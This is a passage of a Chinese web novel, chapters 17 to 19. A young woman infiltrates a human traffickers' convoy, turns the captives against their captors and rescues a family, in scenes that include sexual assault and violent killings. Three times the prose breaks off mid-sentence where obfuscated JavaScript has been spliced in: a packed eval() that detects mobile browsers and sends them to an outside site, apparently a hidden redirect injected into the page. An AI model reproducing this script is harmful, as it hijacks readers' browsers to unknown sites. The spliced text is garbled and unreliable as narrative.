厉长瑛心情更复杂。 泼皮瞅见了这一幕,没忍不住,扯了下嘴角,疼得脸一抽,赶紧低下头。 厉长瑛出现之后,境况明明没有变好,可莫名其妙的,他竟然有幸灾乐祸的心情了。 窄脸男人完美契合【卑而骄之】,厉长瑛巴上对方,极尽吹捧,成功混入,成了他们的狗腿子。 她理所当然被压榨。 他们支使 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13363189|138767||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着厉长瑛做这做那,见她一点儿脾气没有,更是肆无忌惮。 厉长瑛装傻充愣,等他们彻底放松警惕,瞅了个空儿,憨笨道:“匈奴不打仗,我有力气,能种地,能放羊,等到了匈奴,我好好干活,娶个媳妇儿,生几个娃,就扎根过好日子了。” 窄脸男人嘲笑她:“瞅你那点儿出息,我们以后跟着老大干,吃香的喝辣的,女人还不是随便玩儿。” 他说的老大,就是人贩子的头目,是个鹰嘴鼻,眼神浮露的男人。 厉长瑛故作不懂道:“咱们都要被卖去匈奴啊,老大还卖自个儿吗?” “你说啥呢,老大去匈奴干什么……” 厉长瑛一副“这才对”的神色,“老大不去,咱们都得去啊,我有一回撒尿的时候听见,到了目的地,要连一帮傻子全都卖过去。” 几个难民全都变了脸色。 厉长瑛又故意来了一句嘲讽拉满的问话:“傻子说得是谁啊?” 一伙“傻子”黑了脸,对她怒目而视。 厉长瑛缩了缩脖子,没眼力见儿地继续小声讨好:“上匈奴也挺好的,以后咱们一起好好干活,娶个媳妇儿,生几个娃,再结个娃娃亲,等娃娃长大了……” “娃个屁!” 下三白眼突然破口骂,“你这蠢货还想娶媳妇儿!” 她蠢不蠢,也娶不了媳妇儿。 厉长瑛完全没有受到攻击的破防,但还是配合地露出委屈之色。 以为是“同伙”,却还是“货物”,下三白很破防,骂骂咧咧:“一脸蠢相!傻子生出来的能是什么好种!” 厉长瑛很想点头,可不是吗。 而下三白骂完也反应过来,“傻子”不太对,更加恼火。 几个难民也都气愤非常。 他们只敢在小范围内对着厉长瑛无能发怒,根本不敢闹起来。 【魏堇:抛砖引玉,以小利为诱饵,引入圈套,进而取之。】 厉长瑛适时勾起他们的野心:“匈奴不好吗?我以为大家都是想去的,不然为啥老大他们只有十来个人,这么多人都听话?难道是害怕吗?那也太胆小了。” 人贩子一层一层地控制着难民们,只要掌握住下三白这类难民的野心,他们就会替人贩子当打手,甚至甘之如饴,满心凌驾于弱者的野兽快感。 厉长瑛悠悠道:“我不一样,我追随你们,是打心眼儿里敬重、信服。” 下三白等人眼里闪过反叛和算计。 人贩子只有十几个人,他们多联合一些难民,难道还拿不下?到时候,他们就可以自己干,一样吃香的喝辣的! 下三白冲窄脸男人使了个眼色。 窄脸对厉长瑛和颜悦色起来,“兄弟,你叫啥?” 交换名字那就是认可。 厉长瑛激动地回:“六儿!” “老六啊。”窄脸拍上厉长瑛的肩,“想不想跟兄弟几个干?以后保你过好日子,还不用去匈奴。” 厉长瑛面露喜色,“我好好干活,能不能娶个媳妇儿,再生几个娃……” 蠢货!就知道娶媳妇儿生娃! 下三白瞧不上她这没出息的德性,但为了拉拢,满口答应,顺便恐吓她:“匈奴残暴,能不能活下去都不一定,更别说娶媳妇儿生娃。” 厉长瑛惊恐,“真、真的吗?” “还能骗你?” 下三白不乐意跟个傻子多费口舌,敷衍了两句,就给厉长瑛派了个活儿,让她去盯梢人贩子。 厉长瑛一口答应下来。 魏堇还说什么来着? 【浑水摸鱼】是吧。 厉长瑛跃跃欲试。 17.第 17 章 一个合格的搅屎棍,绝对不会挑剔茅厕,更不会挑剔坨大坨小。 哪怕一个微小的“任务”,都是使命。 厉长瑛郑重对待,直接就开始向前挤,越过不少难民,有难民挡路,她就直接让人让让。 下三白眼等人:“……” 他们安排新加入的“傻子”做事,也没想到她这么莽撞,就这么直接过去了。 窄脸发慌,“这缺心眼儿不会牵连咱们吧?” 下三白眼不作声,他哪知道会不会被牵连,但事儿已经安排出去,咋收回来? 他沉住气,“等一会儿看看,有不对劲儿,就叫回来。” 泼皮不知道厉长瑛要干啥,心里也发慌啊,不由地跟着她往前挤,又不敢靠太近,始终隔着几个难民,保持着能看见厉长瑛又不让人怀疑他们关系的距离。 中后段,魏家人看不见厉长瑛的身影,也看不见泼皮的身影,心里头七上八下的。 魏璇微微踮脚,伸长脖子,使劲儿向前张望。 大夫人轻轻拽她,待她看过来,摇头,眼神示意她注意些,别教人瞧出来异样。 魏璇压下焦躁不安的情绪,重新低下了头。 她们不敢交谈,但都猜测厉长瑛的突然出现,可能是魏堇找到了她们,厉长瑛是帮手。 她们只知道厉长瑛是个猎户女,没亲眼见过她的本事,也觉得她就算再厉害也不过是个姑娘,可无论如何,好歹有了新的希望。 魏堇没准儿有什么计划来解救她们,不能因为她们暴露,遭到破坏。 事实上,魏堇只教了厉长瑛法,没给厉长瑛定计,根本不知道厉长瑛会如何做。 【魏堇:战场瞬息万变,随机应变,以谋制敌,兵不血刃为上。】 除了泼皮和魏家人,谁也不知道厉长瑛是突然冒出来的。 一群难民像是被人锁在了无形的牢笼里,挨过几次打,吓破几次胆,就再也不敢逃了,哪里能想象到还有人会主动进来。 厉长瑛自觉已经混了点儿脸熟,更是不拿自己当外人,她一只脚穿着自个儿的草鞋,一只脚套着泼皮那只破草鞋,大喇喇地跟着队伍行进了半日。 泼皮光着一只脚,走在后边儿,从一开始的提心吊胆,走到后来,人都麻了。 厉长瑛到底是来干啥的? 她是没当过难民,来凑热闹的吗? 泼皮躁的很。 【魏堇:静不漏机。】 悄悄的搞事情,搞不成别人也不知道。 厉长瑛也很惆怅,这一遭出来,她是英雄气短,狗熊不如。 她倒是想两横一竖就是干,架不住打不过人多势众啊,只能憋着。 厉长瑛也没白憋,走一路都在盘算着幻想着,就驴车上这些人贩子,真干起来她一个人能打几个。 自个儿的幻想自个儿随便控制,脑子里当然是拳打脚踢,所向披靡。 自信心和胆量更是空前膨胀。 傍晚,队伍路过一处水源,鹰钩鼻头目叫停,招手叫几个难民去打水,准备烧水煮粥。 他没直接点人,难民们想要讨好便争着抢着上前。 厉长瑛动作极快,倏地冲过去,抢过一个木桶,撒腿就往河边跑。 其他人还在驴车边儿,都愣了一下,才继续厮打抢夺。 人贩子们也不禁多瞧了厉长瑛几眼。 泼皮使阴招儿,专门对准人腋下猛掐,第二个抢到了一只木桶,抱着桶就往出跑。 一共四个桶,后面争抢地太凶,耽误打水,人贩子就举起鞭子狠狠抽过去。 这时,泼皮终于在河边跟厉长瑛聚首。 他小心翼翼又急切地问:“我都听你的,你有啥计策吗?” “你是个成熟的混混了,能不能有点儿出息,偷偷摸摸搅事儿还用问我吗?” 厉长瑛单手提起装满水的木桶,可惜地瞅了一眼水桶,啥也没干,返回去。 泼皮羡慕地看了一眼她轻松的姿态,蹲下去打水,哼哧哼哧双手往回拎。 有人打水,有人砍柴,打杂的人有的是。 厉长瑛往架好的锅里倒水,刻意凹了一下姿势,上臂肌肉原本有三分,此刻做作地展现出了八分。 这还不止,厉长瑛狗腿子气质发挥到了极致,啥都抢着去干,殷勤备至,连人贩子们坐下,她都去薅把干草垫他们屁股底下。 她胆子实在太大,竟然直接在人贩子跟前这么晃悠。 泼皮和不远处缩着的魏家人全都提着心。 泼皮怕她一个人太惹眼,为了帮她遮掩,争着在人贩子们跟前表现。 厉长瑛怎么可能比他更会舔? 否则他一个真正的泼皮无赖颜面何存? 二人较上劲儿了似的,其他想要巴结的难民完全插不进来,怨恨嫉妒地盯着两个人。 这时,鹰钩鼻头目盯着厉长瑛,忽然皱眉,“你……” 一个“你”字发出来,泼皮一瞬间吓得心都突突了,手脚发木,浑身虚汗。 魏家人心也揪了起来。 她是不是被发现了? 万一真被发现了,怎么办? 各种可怕凶残的画面轮番在泼皮和魏家人脑子里转过,越想越慌。 不远处,下三白眼那一伙人也注意着这头,听不见声音但看得见,不受控制地紧张冒汗。 厉长瑛一个人便牵动许多颗心,横竖都迷人。 【真真假假,虚虚实实,真假虚实互变,惑敌利我。】 【乘隙插足,反客为主,扼其主机。】 厉长瑛露出个极不自然的心虚笑容,黑脸牙白,结结巴巴道:“老大,我、我、我……” 她故意紧张地搓手,笑比哭还难看,如芒在背,“我”了半天,对着头目满脸的胆怯卑微地小声说道:“我要举报。” 泼皮倏地睁大眼睛,紧张地望向火堆旁边儿做饭的女人和离得近的那些难民。 这么明目张胆地说举报,她不怕被群仇吗? 厉长瑛悄悄靠近头目,怕人知道一般,半遮着嘴,小声道:“老大,有几个人一直不安分,私下里传播,说老大你根本不是要重用大伙儿,等一到边关就会连他们一起卖了,不少人都信了。” 头目嗤笑一声,却也没有否认这说辞,反而问道:“你小子不信?” 厉长瑛投诚道:“我家那头打仗,饭都吃不上,乐意去匈奴,到时候我好好干,娶个媳妇儿,生几个娃,知足着呢,可不想他们破坏。” 头目嘲笑地瞥她一眼,冷酷地开口:“指给我瞧瞧,是哪个不老实,我让他们见见血,长长记性。” 说打就打,压根儿也不去分辨厉长瑛说得是真是假。 厉长瑛始料未及。 她这刚说完话,那头他们就挨打了,她直接得罪下三白眼他们那伙人了。 厉长瑛声音低,泼皮也是隐约听到,连忙凑上来,抢风头,出谋划策:“老大,捉贼捉赃,不如逮个正着,再狠狠教训,正好杀鸡儆猴,以后其他人肯定屁都不敢放。” 厉长瑛急急抢话道:“我帮老大你们盯着他们的动向,一有不对劲儿,立马就来通风报信。” 头目看他们二人也像是看货物似的,轻飘飘地傲慢道:“那就按你们说的吧。” 厉长瑛点头哈腰地退下,转头时,一脸的如蒙大赦。 下三白眼那一伙人心早就跳到了嗓子眼儿,头脑发昏,快要窒息。见无事发生,一口气才喘上来,已经汗流浃背。 人贩子们吃饭,难民们挖草。 厉长瑛得了一块儿拳头大小的干粮,在一群难民直勾勾的眼神中,退远了些。 窄脸男人挤过来,狠拽着她的胳膊,凶狠道:“过来。” 两个人一回到同伙身边,下三白眼便扬手抽向厉长瑛。 厉长瑛飞快抱头,“别打我!” 下三白眼吓一跳,立马向前望去,正好对上驴车上头目的眼睛,吓得腿都软了。 厉长瑛赶紧把干粮奉上,讨好道:“大哥,你吃。” 下三白眼抢过干粮,在同伴眼红的目光中狼吞虎咽地吃了一大口,恨恨地瞪厉长瑛,“你个蠢货!你要害死我们吗!你往老大他们跟前凑什么!” 窄脸男人也不满地质问:“你说,你说什么了?是不是背叛兄弟们了。” 厉长瑛委屈,“我要是背叛,你们咋会好端端地在这儿。” 几个人对视一眼,对此倒是相信了。 只窄脸男人还不罢休,继续追问她说了什么,为啥要凑过去。 厉长瑛蔫头耷脑,说出来的话却很恐怖,“咱们不是要造反吗?我就是想离近点儿,帮大哥你们多打听点儿有用的消息。” 他们什么时候要造反了?! 下三白眼一伙吓破胆,恨不得离她八丈远,表明他们与她不熟。 他们平时没少欺辱骑他难民,风评极差,周围基本没人敢靠近。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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也有其他难民注意到了黑影,多一事不如少一事,选择了视而不见。 林子较深处,两个女人绝望地躺在地上,眼里毫无光彩,泪水无声无息地流着,背后是盘根虬结的树根和刺人的野草,上方,男人撕扯着他们的衣服,发出野兽一般的粗喘。 先前是别人,现在也轮到了她们。 没有人能救她们…… “邦!” 其中一个人贩子应声压在女人身上。 底下的女人瞪大眼睛,泪水顺着眼角流下去,怔怔地望着上方的黑影,一时不明白现状。 旁边,另一个人贩子察觉到异常,上身半抬起,手去摸刀,刚喝出一个“谁”字,一个粗壮的树枝便抡到他的头上。 重重的一声“邦”。 人贩子直接被轮翻过去。 足有手腕粗的树枝也断成两截,一截直接飞了出去,砸在旁边的树上。 底下的女人感觉到脸上湿漉漉的,吓得短促地尖叫一声。 林子外,人贩子们发出一阵□□的笑声。 林子里,厉长瑛低声轻喝:“别喊!” 而后,她弯腰薅起那个压在女人身上的人贩子,扔垃圾一样甩在一边儿。 【兵不血刃】她是不行,但是……厉长瑛转了转剩下半截棒子,心情舒畅。 总结一下,就是:兵法好使,该干他还是得干他! 厉长瑛撸了把头发,神清气爽,简洁干脆地吩咐:“躲起来,别出声儿。” 两个女人依旧看不清她的脸,也能分辨是非,找回了神志和呼吸,知道她们被救了,相互扶着爬起来,要磕头。 厉长瑛可没工夫跟她们你来我往搞什么谢恩的戏码,弯腰捡起两把刀,并在一起握着,径直往出走。 两个女人依靠着往林子更深处躲,一步三回头地瞧她的背影。 身材颀长,刚劲挺拔,两人眼里,无比的高大。 而厉长瑛一走出林子,便狗狗祟祟地摸到下三白眼他们一伙人身边,两把刀塞过去,铁骨铮铮道:“我说过,一定证明给你们看!” 下三白眼拿着刀,都懵了。 证明? 证明啥? 这是厉长瑛自个儿的兵法——逼上梁山,不干也得干。 18.第 18 章 “你、你、你……这、这、这……” 下三白眼惊掉了下巴,话都说不利索。 其他人也都极其慌张。 “问刀咋来的是吧?” 一伙人失语,齐齐点头。 “我刚刚跟进林子里偷袭,抢来的。” 厉长瑛乐于助人,下三白眼一伙人有贼心没贼胆,她就推他们一把。 “我都是为了大哥!”她满嘴忠心和胆气,“一会儿人还不出来,他们肯定派人进去查看,咱们这时候再偷袭,削弱他们一部分的力量,还能抢到武器,只要今天一举歼灭他们,大哥以后就是做主的!咱们兄弟都吃香的喝辣的!” 下三白眼握着刀柄的手颤抖,眼神渐渐浮起野心,只是下不定决心。 厉长瑛敢于像强者挥刀,鄙夷握刀只会欺凌弱小的人,阴狠道:“我去偷袭,我会让他们知道,我是为大哥赴汤蹈火。” 她不顾几个男人的惊惶万状,直接站了起来,再次走进了黑暗中。 什么“为大哥赴汤蹈火”? 她这是陷大哥于水火! 已经有口都说不清,下三白眼栗栗危惧,迫不得已,带人悄悄跟了上去。 另一头,人贩子们似乎察觉到异常—— “怎么没动静了?” “爽完了,缓着呢吧。” “他们也不行啊,歇这么久,该不是腿软了吧?” “哈哈哈哈……” 众人嬉笑时,鹰钩鼻头目谨慎道:“你们两个去看看。” 两个壮汉抢着站起来,满脸淫邪,没有丝毫担忧。 两人进到林中,起初还漫不经心,走了几步,随口呼喊了两声。 “老石。” “大柱。” 没有人回应,只有虫鸣和簌簌叶动。 两个人又喊了几声,还是没有回应,终于感觉到有一点儿不对劲儿,神色警惕起来。 下三白眼蹲在树后,鼻间有腥味儿,看着两道粗壮的黑影一点点靠近,心跳如擂鼓。 两个壮汉背靠背防卫的姿势,向前行进,口中呼喊不断。 忽地,一个壮汉脚下绊到什么软乎乎的东西,向前扑去。 “你小心点儿!” 另一个人语气不好地斥他。 跌倒的壮汉手下触感异常,摸索了两下,大吃一惊:“人在这儿!” “什么……” 下三白眼猛地举刀跳出来,使出全身的力气,砍向站着的人。 “啊——” 痛苦的叫声响彻整个树林。 林子外,人贩子们全都变了色,纷纷握起刀。 难民们则傻了似的,全无反应。 林中,几个男人再下三白眼之后跳出来,拿起棍子砸向半蹲的人贩子,迫使他不能起身。 下三白眼举起刀,狠狠插下。 鲜血喷射,甚至溅到了几人身上。 几个人胸膛剧烈地起伏,停定在当场,似是仍旧无法完全从刚才发生的事情中抽离。 躲藏的两个女人抱在一起瑟瑟发抖,大气不敢出。 林子外,一众人贩子纷纷举起柴火,鹰钩鼻头目打量着难民们。 难民们躲避着他凶狠的目光。 头目注意到少了哪些人,冷笑一声,举起燃烧的柴火,“你们逃不了,出来!不出来我就烧山了!” 林子里,其他人都望向下三白眼,等他抉择。 窄脸男人四下找了找,突然问:“那小子呢?” “那小子就是不安好心,还管他干什么。”下三白眼现在也回过些味儿了,一发狠,“干都干了,已经没有后路了,拼了!” 带着热意的鲜血彻底激起了他们的凶性,其他人纷纷响应,两个男人捡起刀,一起往出闯。 “啊——” 一行几人举着刀和棍子,声势浩大地从林中冲了出来。 他们七个人,只有三把刀,比虾兵蟹将强不了多少,全凭着一股子硬激起来的不怕死的胆气。 人贩子们皆不屑,根本没把他们放在眼里。 下三白眼几人也确实不堪一击,没几下受了伤,本就处于下风,更滑坡了。 下三白眼作为“大哥”,还有几分急智,慌急之下大吼一声:“匈奴人凶残,他们就是蒙骗咱们的,早就打算好把咱们都卖到匈奴去,根本没想带咱们混生活!” 难民们中间一阵骚动,一些助纣为虐的男难民们惊疑地望向打斗中的双方。 鹰钩鼻头目甚至都没有出手,手腕一动,刀光一晃,冷冷地威胁:“我看谁敢妄动!别怪我手下不留情!” 一群难民霎时便缩起头来。 下三白眼一伙人中有人倒下了,血流了一地。 泼皮站在难民中间,焦急不已,踌躇不前。 万一冲出去,不成,岂不暴露自己? 他拿不定主意…… 人贩子头目瞧着这些懦弱无能不敢反抗的难民,轻蔑地勾起嘴角。 “我敢!” 随着声音,一个矫健的身影闯入。 厉长瑛拎起一根火把,两步跨到驴车上,站在高处,居高临下,意气峥嵘。 “是你?!” 两方人同时震惊出声。 厉长瑛根本不与他们废话,大声鼓动难民们:“不反抗就得挨打!不反抗就是死路一条!你们的安分守己温养了谁?!一群丧尽天良的豺狼吗!” 人贩子头目勃然大怒,举起刀砍向厉长瑛。 厉长瑛举刀抗住,震得手臂发麻,仍旧在掷地有声地高喊:“贫苦百姓就得像牲畜一样活着吗?女子就天生要忍受□□凌贱,只能等着人拯救吗?” “闭嘴!” 头目越发暴戾,刀刀致命。 厉长瑛被逼得步步后退,偏不闭嘴:“一个人力薄胆怯,几十个人还不敢反抗!是孬种吗!” “想活就跑!恨就扑上去撕咬!” “就是要反抗,就是要见血,仇人的血才能洗透人的懦弱,洗刷掉屈辱!” 她的声音去了伪装,依旧不柔婉,清亮而无畏。 一张黑脸,映在火光下,眼里头是烈火焚烧,灼烧着每一个人的心。 厉长瑛第一次真刀真枪地跟人打,经验少之又少,与强敌对打远危于普通的山野兽类。 却非血气之勇。 谁不怕死? 不够强又如何? 勇者不避难,浑身是胆。 心怂了,就永远都是弱者。 “三翻四次,千次万次!就是不服!” 什么君君臣臣父父子子,什么温良守驯,没有反抗的勇气,凭什么活下去? 厉长瑛以向死而生之决心,声嘶力竭地喊出不服,奋力挥刀,反扑向对手,气势凌云。 刀刃相撞,擦出剧烈的声响,明明没有火花,也好似火花飞溅。 厉长瑛的锋芒毫不掩饰地外露。 人贩子头目在她的强冲之下,斗势竟然持了平,又渐渐显露颓势。 所有人都震惊于这一幕,震惊于她一往无前,不被世俗所桎梏的勇气,震惊于她身上迸发的旺盛的生命力…… 下三白眼他们一群人完全无法将现在的厉长瑛和先前的傻子看作是同一个人。 魏家人更清楚地知道,她是个姑娘,是一个她们先前并未太过信任她能救她们的姑娘。 震撼和羞愧同时灼痛了她们的心。 泼皮满眼的火热,在人群中振臂一呼:“我们要自救!我们不能任人宰割!我们人多!我们能赢!” 难民们蠢蠢欲动,只是似乎还差一个契机。 不能赤手空拳,泼皮率先冲到林子边,折了一根粗壮的树枝做武器。 有难民陆陆续续效仿,也折了树枝。 一触即发。 人贩子们作出防范之势。 下三白眼他们总算感觉压力减弱,好像能活的希望涌上几人的脸,激动非常。 鹰钩鼻头目分神,被厉长瑛抓住可乘之机,乘虚而入,打得更凶。 有一个人贩子见老大隐隐弱势,便要过去帮忙。 “噗--” 一把平时用来挖菜的短尖刀插进了他的锁骨上方。 血喷溅出去。 人贩子不可置信地扭头,想要抬起握刀的手,最终重重地倒地。 凶手是一个眉眼漂亮但瘦弱的女人,满脸的血,一滴一滴地往下流,满眼都是报复的快感。 这些日子,她为了活下去,麻木屈辱地任这些畜生青天白日地糟践,终于……终于…… “都去死吧!” 躲在林子里的两个女人举着木棍,奋力冲了出来。 这仿佛是一个信号。 难民们全都动了起来,有的拼命地四散逃窜,抓紧机会逃离 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13389395|138767||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,有的怀着满腔恨意扑向伤害他们的人,也有人偷偷摸摸地摸向驴车…… 泼皮冲向厉长瑛和鹰钩鼻头目,“我帮你!” 魏家三个女人护着两个孩子退到河岸边,担忧地望着厉长瑛和泼皮。 魏璇紧紧攥着秀气的拳头,从前,她的手是写字作画,是拿针绣花的,可这一刻,她也极想去反抗什么。 明明她们懂得的比这些难民更多,读了许多书,见惯了阴司算计,也尝过了苦楚,为何就只能等着人来救? 她不甘。 …… 柴火掉落在地上,点着了草木,一块儿一块儿地燃烧着,照亮了周围。 两个三个甚至更多难民围住一个人贩子,夺下他的武器,便像是成群的野兽撕咬猎物一般,围着发泄恨意。 一个又一个人贩子倒下。 厉长瑛和人贩子头目的打斗在泼皮的捣乱下,难分胜负,甚至厉长瑛还因为要顾忌泼皮,束手束脚。 泼皮完全没有自觉,还猛烈地挥着树枝,想要助厉长瑛一臂之力。 厉长瑛感受到他的好意了,但忍不了他,瞅准个缝隙,一脚揣在泼皮屁股上,“起开!” 泼皮翻滚出一丈多远,晕晕乎乎起来的时候,满身满头都挂了灰。 而厉长瑛没了妨碍,越打越猛,两把刀打得豁口跟锯子似的,又一次相撞后,“啪”地同时断了。 两个人一顿,又同时扔下只剩下半截的刀,开始拳拳到肉。 厉长瑛揍了对方几拳,也挨了几拳,打得不可开交。 泼皮举着棒子在旁边儿晃悠,始终插不上空儿。 还是厉长瑛瞥见他的架势,为了早点儿结束这场肉搏,趁机减弱了攻势,用脸颊接了一拳,才放缓了打斗。 泼皮眼睛一亮,抄起棒子重重地砸在人贩子头目后脑上。 棍子都折了,男人晃了晃头,没有倒下,凶戾地回头。 铜、铜头铁骨…… 泼皮得意到一半的笑容僵在面上,慌忙背手,试图藏起凶器。 剩下半截棍子在他身后支棱出来。 像是嘲讽。 鹰钩鼻铁拳挥向他。 泼皮棍子一扔,极其熟练地抱头蹲下。 厉长瑛横插过来,快狠准地抓住男人的手腕,身体翻转,肩膀抵住,弯腰使力,一个过肩摔将人重重翻摔在地。 然后片刻不停地抄起泼皮扔掉的棍子,迎面敲上去。 “咚!” 鹰钩鼻的眼神彻底涣散,仰面倒在了地上。 仅剩的四个人贩子见势不妙,带着伤仓皇逃跑。 一面是深浅不知的河,一面是危险不可测的山林,向前的路有难民们挡着,他们只能朝着来时路狂奔逃命。 难民们再是恨意难消,体力也不敌,渐渐便追不上。 而就在几个人贩子以为逃出生天时,一柄猎叉横阻在他们前方,来一个叉一个,来一双叉一双。 最后一个人贩子倒下,厉蒙收起猎叉,“我就知道什么‘不战而屈人之兵’在阿瑛那儿都是屁话。” 魏堇不顾隐隐作痛地脚,快步向火光处跑去。 难民们的“反叛”基本平息,伤亡皆有,而活着的难民,或站或坐,神色中尽是劫后余生的恍惚,也有人看着自己的双手,眼里涌动着微妙的情绪。 他们……自救了? 魏堇、厉蒙和林秀平第一眼看到的便是这样一副场景,好像大战过后那样惨烈,触目惊心。 他们第一时间寻找厉长瑛的身影。 很容易便找到了。 泼皮抱着厉长瑛的大腿,一把鼻涕一把泪:“呜~我以为我要被打死了,我活下来了呜呜呜……” 厉长瑛抽腿没抽出来,双手攥着拳头,忍耐地合上眼。 看在他鼻青脸肿,肯定吃了不少苦头的份上,她忍! 泼皮不知道他在挑战她的极限,真情实感地哭:“呜呜呜~你就是我的再生父母……干娘~” “啊!” “干娘”实在忍不了。 厉长瑛理智断了,按着他捶,“我打你个干娘!” 泼皮抱头惨叫,求饶:“女侠,饶命!” 魏堇、厉蒙、林秀平:“……” 真活泼啊。 旁边,几道带哭腔的激动声音响起—— “阿堇!” “小叔!” 19.第 19 章 亲人历经磨难,终于重逢,激动之情无法言说,唯有抱头痛哭。 三个女人顾及着男女大防,不好抱魏堇,便抱着彼此哭泣,发泄着这一路的恐慌、苦楚和绝望。 两个孩子没有顾忌,一左一右抱着魏堇两条腿,嘴里喊着“小叔”,哭湿了他的衣衫。 魏堇的处境,和不远处的厉长瑛颇有异曲同工之妙。 能哭出来,好过哭不出,压抑在心中。 魏堇自己还是少年,便像个可靠的长辈一样轻抚着两个孩子的头,纵容他们放肆地哭出来。 魏家只剩下他们了。 而他们之于彼此,就像是一张七巧板,除自己之外的每一个人都是不可缺失的一块,少了谁,心都永远空一块儿。 魏堇找回了他们,看着他们活生生的模样,缺失的部分才填补上。 “二嫂和阿霖呢?” 魏堇发现,少了两个人。 三个女人闻言,皆黯然神伤,两个孩子也哭得更伤心。 心失重似的猛地下坠,魏堇缓缓问:“他们……出事了?” 大夫人立即摇头,忍着哀伤道:“出城当日,我们慌不择路,便走散了,不知道他们母子如今身在何处。” 大嫂楚茹泪如潮涌,“阿霖还那么小,她一个女人带着个孩子,还不知道会遭遇到怎样的磨难。” 流放的时候,他们勉强还受着魏老大人的庇荫,只是苦了些,如今才真真正正地体会到,这样的世道,女子活着便没有一日不饱受折磨。 大夫人听了她的话,哭得心也跟着抽痛。 魏璇泪眼婆娑地扶住她,“娘~” “好歹我找到了你们,你们没有流落到匈奴去,二嫂和阿霖是失踪而不是在你们眼前出事,也未尝不是个好消息,咱们合该为此庆幸满足,日后存着希望去生活,而不是沉湎于沮丧。” 并不是全然的宽慰之言,而是自然而然地吐露。 魏堇说完这样一番话,亦是怔忪,下意识地望向了前方的厉长瑛。 残火狼藉之中,“尸”横遍地,血色弥漫,唯有厉长瑛立着。 其他难民失力在地,目光都聚焦在她身上,仿佛这个人承载着他们的希望和未来…… 魏堇眸色暗沉。 背负太多,受人所累,不是一件好事。 “阿堇说得对,不必往坏处想,笠筠和阿霖没准儿安然无恙,她知道咱们要去太原郡,也许会去太原跟咱们团聚。”大夫人强颜欢笑,“也或许,她在别的地方有了安身立命之处。” 魏堇视线回到魏家人身上,微微颔首,“正是。” 其他人尚且有迹可循,二嫂詹笠筠母子全无踪迹,真正地大海捞针,无处可寻。 可事实已是如此,他们该为当下而活,起码若有重见之日,他们能够以更光明的未来去包容离散的亲人,而不是沦落地更狼狈,教人自责痛苦。 …… 厉长瑛收拾完泼皮,和父母简单交谈两句,表示她完全没有大碍,便主动收拾起残局。 最紧要的是灭火和治伤止血。 林秀平让她不必管受伤的难民,“我和你爹会处理。” 厉长瑛点头,便游走在难民中,动员他们灭火。 若是火势蔓延出去形成山火,便彻底难以扼制。 万物皆有灵,许多人也靠山吃山,而吃山便要护山养山,留其生机,赖以生存的人和野兽方能有生机,互相哺育。 更何况,山林草木实属是无妄之灾。 而难民们经了先前那一遭,下意识地听从厉长瑛的“安排”,没有受伤的难民陆陆续续地爬起来随她去灭火。 有木桶拎木桶,没有就拿锅碗瓢盆,能盛水的工具不够,厉家驴车上的家伙事儿也都拿下来用了。 实在没有盛水工具的,便绕到火势的另一头,砍树薅草,截断火势蔓延。 魏家女人和两个孩子一同加入到了救火的行列。 日出天明,火终于扑灭,草木灰扬在了路上,遮盖掉血迹,尸首也都埋了。 所有人皆疲惫不堪,厉长瑛亦是疲累,找了个没有沾染过血迹的干草地,五马张飞地躺下。 魏堇走到她身边,撩起下摆端正地坐下,有条有理道:“不算人贩,难民约莫有一百二十余人,昨夜后,大概逃跑四十余人,死亡十七人,余下五十九人,伤重十三人,轻伤二十人,另外……” 厉长瑛本来眯着眼睛昏昏欲睡,忽然听到念经,呆滞的双眼望向身侧的魏堇,“堇小郎,你在用你俊俏的脸蛋做什么啊?” “什、什么?” 清风拂过,嫩草芽摇曳轻颤。 魏堇垂在身侧的手微微收紧,难以直视她脏兮兮的脸。 几息后,他故作平静自然地问:“为何突然这样说?” 无人回复。 魏堇手指紧了紧,缓缓侧头。 “……” 厉长瑛的上眼皮不知道经过了怎样的挣扎,艰难地拉开一丝缝隙,又合上,反反复复,能拉开的距离越来越小。 难舍难分的。 她可能就是随便一说。 他没有随便一听,还当真了。 又一阵风轻轻吹过,嫩草摇头晃脑,像是在嘲笑他。 魏堇漂亮的手指拨动面前那根可怜的嫩芽,动作里透着恼意,“她不含蓄,你也随便。” 厉长瑛太累了。 魏堇不忍心叫醒她,在厉长瑛身边稍坐了片刻,便起身回去“假传圣旨”:“暂时停下修整,多熬些粥,所有人都分一些,饱食一顿。” 饥饿不知多少时日的难民们激动得无以复加,他们都认为这是厉长瑛的安排,看向厉长瑛的目光满是感激。 厉长瑛胳膊枕麻了,无意识地抽出来,换了个舒服的姿势。 六十多个人,要煮粥吃个基本饱,人贩子的一石粮便去了三分之一。 依旧是没受伤的难民忙活。 锅不够,得分批煮,也用不上太多人,其余人便闲着,眼巴巴地盯着锅,也有个别人盯着厉长瑛。 而这些难民中,还有一小撮人,安静的像是拔毛的山鸡格外小心翼翼地缩在角落里。 下三白眼他们一伙人属于身先士卒,死了三个,剩下几人全受伤了。 